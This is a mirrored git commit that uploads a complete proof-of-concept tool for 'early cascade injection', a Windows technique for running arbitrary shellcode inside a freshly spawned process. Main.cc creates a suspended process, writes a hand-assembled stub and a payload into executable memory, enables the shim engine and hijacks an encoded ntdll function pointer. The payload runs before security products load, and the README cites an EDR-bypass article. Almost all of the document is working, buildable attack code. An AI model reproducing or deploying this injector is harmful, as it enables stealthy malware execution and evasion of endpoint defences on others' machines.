mirror of
https://github.com/Cracked5pider/earlycascade-injection
synced 2026-06-06 15:34:27 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,9 @@
|
||||
# Early Cascade Injection PoC
|
||||
|
||||
Just a simple PoC implemetation of the early cascade injection technique documented by the [Outflank blog post](https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/).
|
||||
|
||||
All credits goes to the people who found and documented the technique. I merely just wrote the code now beacuse I was bored. Cheers.
|
||||
|
||||
Reference / Credit:
|
||||
- https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/
|
||||
- https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.3.32929.385
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cascade-injection", "cascade-injection.vcxproj", "{5E56851B-45C4-466A-A56B-EB3B5569729A}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Debug|x64.Build.0 = Debug|x64
|
||||
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Debug|x86.Build.0 = Debug|Win32
|
||||
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Release|x64.ActiveCfg = Release|x64
|
||||
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Release|x64.Build.0 = Release|x64
|
||||
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Release|x86.ActiveCfg = Release|Win32
|
||||
{5E56851B-45C4-466A-A56B-EB3B5569729A}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {4E407EEC-0A47-4A29-A61F-AF8F9A51E12A}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,135 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{5e56851b-45c4-466a-a56b-eb3b5569729a}</ProjectGuid>
|
||||
<RootNamespace>cascadeinjection</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\Main.cc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\Main.cc">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
+324
@@ -0,0 +1,324 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <ntstatus.h>
|
||||
|
||||
typedef struct tagBUFFER {
|
||||
PVOID Buffer;
|
||||
ULONG Length;
|
||||
} BUFFER, *PBUFFER;
|
||||
|
||||
#define C_PTR( x ) ( PVOID ) ( x )
|
||||
#define U_PTR( x ) ( UINT_PTR ) ( x )
|
||||
|
||||
unsigned char cascade_stub_x64[] = {
|
||||
0x48, 0x83, 0xec, 0x38, // sub rsp, 38h
|
||||
0x33, 0xc0, // xor eax, eax
|
||||
0x45, 0x33, 0xc9, // xor r9d, r9d
|
||||
0x48, 0x21, 0x44, 0x24, 0x20, // and [rsp+38h+var_18], rax
|
||||
|
||||
0x48, 0xba, //
|
||||
0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, // mov rdx, 8888888888888888h
|
||||
|
||||
0xa2, // (offset: 25)
|
||||
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, // mov ds:9999999999999999h, al
|
||||
|
||||
0x49, 0xb8, //
|
||||
0x77, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, // mov r8, 7777777777777777h
|
||||
|
||||
0x48, 0x8d, 0x48, 0xfe, // lea rcx, [rax-2]
|
||||
|
||||
0x48, 0xb8, //
|
||||
0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, // mov rax, 6666666666666666h
|
||||
|
||||
0xff, 0xd0, // call rax
|
||||
0x33, 0xc0, // xor eax, eax
|
||||
0x48, 0x83, 0xc4, 0x38, // add rsp, 38h
|
||||
0xc3 // retn
|
||||
};
|
||||
|
||||
PVOID MmPeSectionBase(
|
||||
_In_ PVOID ModuleBase,
|
||||
_In_ PCHAR SectionName
|
||||
) {
|
||||
PIMAGE_DOS_HEADER DosHeader = {};
|
||||
PIMAGE_NT_HEADERS NtHeader = {};
|
||||
PIMAGE_SECTION_HEADER SecHeader = {};
|
||||
|
||||
NtHeader = static_cast<PIMAGE_NT_HEADERS>( reinterpret_cast<PVOID>( U_PTR( ModuleBase ) + static_cast<PIMAGE_DOS_HEADER>( ModuleBase )->e_lfanew ) );
|
||||
SecHeader = IMAGE_FIRST_SECTION( NtHeader );
|
||||
|
||||
for ( int i = 0; i < NtHeader->FileHeader.NumberOfSections; i++ ) {
|
||||
if ( memcmp( SectionName, SecHeader[ i ].Name, strlen( SectionName ) ) == 0) {
|
||||
return C_PTR( U_PTR( ModuleBase ) + SecHeader[ i ].VirtualAddress );
|
||||
}
|
||||
}
|
||||
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief
|
||||
* encodes a function pointer using
|
||||
* the SharedUserData->Cookie value
|
||||
*
|
||||
* ref: https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html
|
||||
*
|
||||
* @param FnPointer
|
||||
* function pointer to encode
|
||||
*
|
||||
* @return
|
||||
* encoded function pointer
|
||||
*/
|
||||
LPVOID SysEncodeFnPointer(
|
||||
_In_ PVOID FnPointer
|
||||
) {
|
||||
ULONG SharedUserCookie = *( ULONG* ) 0x7FFE0330;
|
||||
|
||||
return C_PTR( _rotr64( SharedUserCookie ^ U_PTR( FnPointer ), SharedUserCookie & 0x3F ) );
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief
|
||||
* inject a shellcode buffer with a
|
||||
* context argument into a child process
|
||||
*
|
||||
* @param Process
|
||||
* proces name path to spawn as our target
|
||||
*
|
||||
* @param Payload
|
||||
* payload to inject into the remote process
|
||||
*
|
||||
* @param Context
|
||||
* context to inject as well into the remote process
|
||||
*
|
||||
* @return
|
||||
* status of function
|
||||
*/
|
||||
NTSTATUS CascadeInject(
|
||||
_In_ PSTR Process,
|
||||
_In_ PBUFFER Payload,
|
||||
_In_ PBUFFER Context
|
||||
) {
|
||||
PROCESS_INFORMATION ProcessInfo = {};
|
||||
STARTUPINFOA StartupInfo = {};
|
||||
PVOID Memory = {};
|
||||
ULONG Length = {};
|
||||
ULONG Offset = {};
|
||||
ULONG Status = {};
|
||||
PVOID SecMrData = {};
|
||||
PVOID SecData = {};
|
||||
PVOID g_ShimsEnabled = {};
|
||||
PVOID g_pfnSE_DllLoaded = {};
|
||||
UINT_PTR g_Value = {};
|
||||
|
||||
if ( !Process || !Payload ) {
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
//
|
||||
// prepare and start a child process
|
||||
// in a suspended state as our target
|
||||
//
|
||||
|
||||
RtlSecureZeroMemory( &ProcessInfo, sizeof( ProcessInfo ) );
|
||||
RtlSecureZeroMemory( &StartupInfo, sizeof( StartupInfo ) );
|
||||
|
||||
StartupInfo.cb = sizeof( StartupInfo );
|
||||
|
||||
if ( !CreateProcessA( nullptr, Process, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &StartupInfo, &ProcessInfo)) {
|
||||
printf( "[-] CreateProcessW Failed: %lx\n", GetLastError() );
|
||||
Status = STATUS_UNSUCCESSFUL;
|
||||
goto LEAVE;
|
||||
}
|
||||
|
||||
//
|
||||
// allocate memory in the remote process
|
||||
//
|
||||
|
||||
Length = sizeof( cascade_stub_x64 ) + Payload->Length;
|
||||
if ( Context ) {
|
||||
Length += Context->Length;
|
||||
}
|
||||
|
||||
if ( !( Memory = VirtualAllocEx( ProcessInfo.hProcess, nullptr, Length, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) ) ) {
|
||||
printf( "[-] VirtualAllocEx Failed: %lx\n", GetLastError() );
|
||||
Status = STATUS_UNSUCCESSFUL;
|
||||
goto LEAVE;
|
||||
}
|
||||
|
||||
//
|
||||
// resolve the g_ShimsEnabled and g_pfnSE_DllLoaded
|
||||
// pointers in the current process which should reflect
|
||||
// in the remote process as well (or not).
|
||||
// Consider this a hacky solution lol.
|
||||
//
|
||||
|
||||
SecMrData = MmPeSectionBase( GetModuleHandleA( "ntdll.dll" ), (PCHAR) ".mrdata" );
|
||||
SecData = MmPeSectionBase( GetModuleHandleA( "ntdll.dll" ), (PCHAR) ".data" );
|
||||
|
||||
g_ShimsEnabled = C_PTR( U_PTR( SecData ) + 0x6cf0 );
|
||||
g_pfnSE_DllLoaded = C_PTR( U_PTR( SecMrData ) + 0x270 );
|
||||
|
||||
printf( "[*] g_ShimsEnabled : %p\n", g_ShimsEnabled );
|
||||
printf( "[*] g_pfnSE_DllLoaded: %p\n", g_pfnSE_DllLoaded );
|
||||
|
||||
//
|
||||
// update the stub and include the g_ShimsEnabled,
|
||||
// MmPayload, MmContext and NtQueueApcThread pointers
|
||||
//
|
||||
|
||||
g_Value = U_PTR( Memory ) + sizeof( cascade_stub_x64 );
|
||||
memcpy( &cascade_stub_x64[ 16 ], &g_Value, sizeof( PVOID ) );
|
||||
|
||||
memcpy( &cascade_stub_x64[ 25 ], &g_ShimsEnabled, sizeof( PVOID ) );
|
||||
|
||||
g_Value = U_PTR( Memory ) + sizeof( cascade_stub_x64 ) + Payload->Length;
|
||||
if ( !Context ) {
|
||||
g_Value = 0;
|
||||
}
|
||||
memcpy( &cascade_stub_x64[ 35 ], &g_Value, sizeof( PVOID ) );
|
||||
|
||||
g_Value = U_PTR( GetProcAddress( GetModuleHandleA( "ntdll.dll" ), "NtQueueApcThread" ) );
|
||||
memcpy( &cascade_stub_x64[ 49 ], &g_Value, sizeof( PVOID ) );
|
||||
|
||||
//
|
||||
// write stub, payload and context into the allocated memory
|
||||
//
|
||||
|
||||
if ( !WriteProcessMemory( ProcessInfo.hProcess, C_PTR( U_PTR( Memory ) + Offset ), cascade_stub_x64, sizeof( cascade_stub_x64 ), nullptr ) ) {
|
||||
printf("[-] WriteProcessMemory Failed: %lx\n", GetLastError());
|
||||
Status = STATUS_UNSUCCESSFUL;
|
||||
goto LEAVE;
|
||||
}
|
||||
|
||||
Offset += sizeof( cascade_stub_x64 );
|
||||
if ( !WriteProcessMemory( ProcessInfo.hProcess, C_PTR( U_PTR( Memory ) + Offset ), Payload->Buffer, Payload->Length, nullptr ) ) {
|
||||
printf("[-] WriteProcessMemory Failed: %lx\n", GetLastError());
|
||||
Status = STATUS_UNSUCCESSFUL;
|
||||
goto LEAVE;
|
||||
}
|
||||
|
||||
if ( Context ) {
|
||||
//
|
||||
// if specified a context then write the context
|
||||
// into the remote process memory as well
|
||||
//
|
||||
Offset += Payload->Length;
|
||||
if ( !WriteProcessMemory( ProcessInfo.hProcess, C_PTR( U_PTR( Memory ) + Offset ), Context->Buffer, Context->Length, nullptr ) ) {
|
||||
printf("[-] WriteProcessMemory Failed: %lx\n", GetLastError());
|
||||
Status = STATUS_UNSUCCESSFUL;
|
||||
goto LEAVE;
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// patch the remote process pointers and enable the shim engine
|
||||
//
|
||||
|
||||
g_Value = TRUE;
|
||||
if ( !WriteProcessMemory( ProcessInfo.hProcess, g_ShimsEnabled, &g_Value, sizeof( BYTE ), nullptr ) ) {
|
||||
printf( "[-] WriteProcessMemory Failed: %lx\n", GetLastError() );
|
||||
Status = STATUS_UNSUCCESSFUL;
|
||||
goto LEAVE;
|
||||
}
|
||||
|
||||
g_Value = U_PTR( SysEncodeFnPointer( Memory ) );
|
||||
if ( !WriteProcessMemory( ProcessInfo.hProcess, g_pfnSE_DllLoaded, &g_Value, sizeof( PVOID ), nullptr ) ) {
|
||||
printf( "[-] WriteProcessMemory Failed: %lx\n", GetLastError() );
|
||||
Status = STATUS_UNSUCCESSFUL;
|
||||
goto LEAVE;
|
||||
}
|
||||
|
||||
if ( !ResumeThread( ProcessInfo.hThread ) ) {
|
||||
printf( "[-] ResumeThread Failed: %ld\n", GetLastError() );
|
||||
Status = STATUS_UNSUCCESSFUL;
|
||||
goto LEAVE;
|
||||
};
|
||||
|
||||
Status = STATUS_SUCCESS;
|
||||
LEAVE:
|
||||
if ( ProcessInfo.hThread ) {
|
||||
CloseHandle( ProcessInfo.hThread );
|
||||
}
|
||||
|
||||
if ( ProcessInfo.hProcess ) {
|
||||
CloseHandle( ProcessInfo.hProcess );
|
||||
}
|
||||
|
||||
return Status;
|
||||
}
|
||||
|
||||
BOOL FileReadA(
|
||||
_In_ PSTR FileName,
|
||||
_Out_ PVOID* Buffer,
|
||||
_Out_ PULONG Length
|
||||
) {
|
||||
HANDLE FileHandle = {};
|
||||
ULONG BytesRead = {};
|
||||
BOOL Success = {};
|
||||
|
||||
if ( !FileName || !Buffer || !Length ) {
|
||||
goto LEAVE;
|
||||
}
|
||||
|
||||
Success = FALSE;
|
||||
|
||||
if ( ( FileHandle = CreateFileA( FileName, GENERIC_READ, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr ) ) == INVALID_HANDLE_VALUE ) {
|
||||
printf( "[-] CreateFileA Failed: %ld\n", GetLastError() );
|
||||
goto LEAVE;
|
||||
}
|
||||
|
||||
if ( ( *Length = GetFileSize( FileHandle, nullptr ) ) == INVALID_FILE_SIZE ) {
|
||||
printf( "[-] GetFileSize Failed: %ld\n", GetLastError() );
|
||||
goto LEAVE;
|
||||
}
|
||||
|
||||
if ( ! ( *Buffer = HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, *Length ) ) ) {
|
||||
printf( "[!] HeapAlloc Failed: %ld\n", GetLastError() );
|
||||
goto LEAVE;
|
||||
}
|
||||
|
||||
if ( !ReadFile( FileHandle, *Buffer, *Length, &BytesRead, nullptr ) || *Length != BytesRead ) {
|
||||
printf( "[!] ReadFile Failed With Error: %d\n", GetLastError() );
|
||||
goto LEAVE;
|
||||
}
|
||||
|
||||
Success = TRUE;
|
||||
|
||||
LEAVE:
|
||||
if ( FileHandle != INVALID_HANDLE_VALUE ) {
|
||||
CloseHandle( FileHandle );
|
||||
}
|
||||
|
||||
if ( !Success ) {
|
||||
HeapFree( GetProcessHeap(), HEAP_ZERO_MEMORY, *Buffer );
|
||||
*Buffer = nullptr;
|
||||
*Length = 0;
|
||||
}
|
||||
|
||||
return Success;
|
||||
}
|
||||
|
||||
int main( int argc, char** argv ) {
|
||||
BUFFER Payload = {};
|
||||
|
||||
if ( argc <= 2 ) {
|
||||
printf( "[-] Not enough arguments\n" );
|
||||
printf( "[*] Example: %s [process.exe] [shellcode.bin]\n", argv[ 0 ] );
|
||||
return -1;
|
||||
}
|
||||
|
||||
if ( !FileReadA( argv[ 2 ], &Payload.Buffer, &Payload.Length ) ) {
|
||||
printf( "[-] Failed to read file %s", argv[ 2 ] );
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf( "[*] Process: %s\n", argv[ 1 ] );
|
||||
printf( "[*] Payload @ %p [%d bytes]\n", Payload.Buffer, Payload.Length );
|
||||
|
||||
CascadeInject( argv[ 1 ], &Payload, nullptr );
|
||||
|
||||
printf( "[*] Finished\n" );
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
CC := cl.exe
|
||||
LINK := link.exe
|
||||
CFLAGS := /c /GS- /O1 /Os /kernel /Zl /GR- /EHsc /MD
|
||||
LFLAGS := /NODEFAULTLIB /ENTRY:main /SUBSYSTEM:CONSOLE /MERGE:.rdata=.text /OPT:REF /OPT:ICF /LTCG /ALIGN:16 /DEBUG:NONE
|
||||
|
||||
all:
|
||||
@ $(CC) $(CFLAGS) src/Main.cc
|
||||
@ $(LINK) $(LFLAGS) Main.obj
|
||||
@ python extract.py -f Main.exe -o cascade-stub.x64.bin
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding:utf-8 -*-
|
||||
import pefile
|
||||
import argparse
|
||||
|
||||
if __name__ in '__main__':
|
||||
try:
|
||||
parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' );
|
||||
parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str );
|
||||
parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str );
|
||||
option = parser.parse_args();
|
||||
|
||||
PeExe = pefile.PE( option.f );
|
||||
PeSec = PeExe.sections[0].get_data();
|
||||
|
||||
if PeSec.find( b'ENDOFCODE' ) != None:
|
||||
ScRaw = PeSec[ : PeSec.find( b'ENDOFCODE' ) ];
|
||||
f = open( option.o, 'wb+' );
|
||||
f.write( ScRaw );
|
||||
f.close();
|
||||
else:
|
||||
print('[!] error: no ending tag');
|
||||
except Exception as e:
|
||||
print( '[!] error: {}'.format( e ) );
|
||||
@@ -0,0 +1,32 @@
|
||||
#include <Windows.h>
|
||||
|
||||
#define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR )-2 )
|
||||
typedef NTSTATUS ( NTAPI* fn_NtQueueApcThread )(
|
||||
_In_ HANDLE ThreadHandle,
|
||||
_In_ PVOID ApcRoutine,
|
||||
_In_opt_ PVOID ApcArgument1,
|
||||
_In_opt_ PVOID ApcArgument2,
|
||||
_In_opt_ PVOID ApcArgument3
|
||||
);
|
||||
|
||||
EXTERN_C VOID main(
|
||||
VOID
|
||||
) {
|
||||
PBYTE g_ShimsEnabled = (PBYTE)0x9999999999999999;
|
||||
PVOID MmPayload = (PVOID)0x8888888888888888;
|
||||
PVOID MmContext = (PVOID)0x7777777777777777;
|
||||
|
||||
//
|
||||
// disable the shim engine to avoid any more
|
||||
// function pointers getting called that have
|
||||
// not been resolved
|
||||
//
|
||||
*g_ShimsEnabled = FALSE;
|
||||
|
||||
//
|
||||
// now we are going to queue an Apc in the current
|
||||
// thread which is going to be triggered at the end
|
||||
// of the LdrInitializeThunk routine
|
||||
//
|
||||
((fn_NtQueueApcThread)0x6666666666666666)( NtCurrentThread(), MmPayload, MmContext, nullptr, nullptr );
|
||||
}
|
||||
Reference in New Issue
Block a user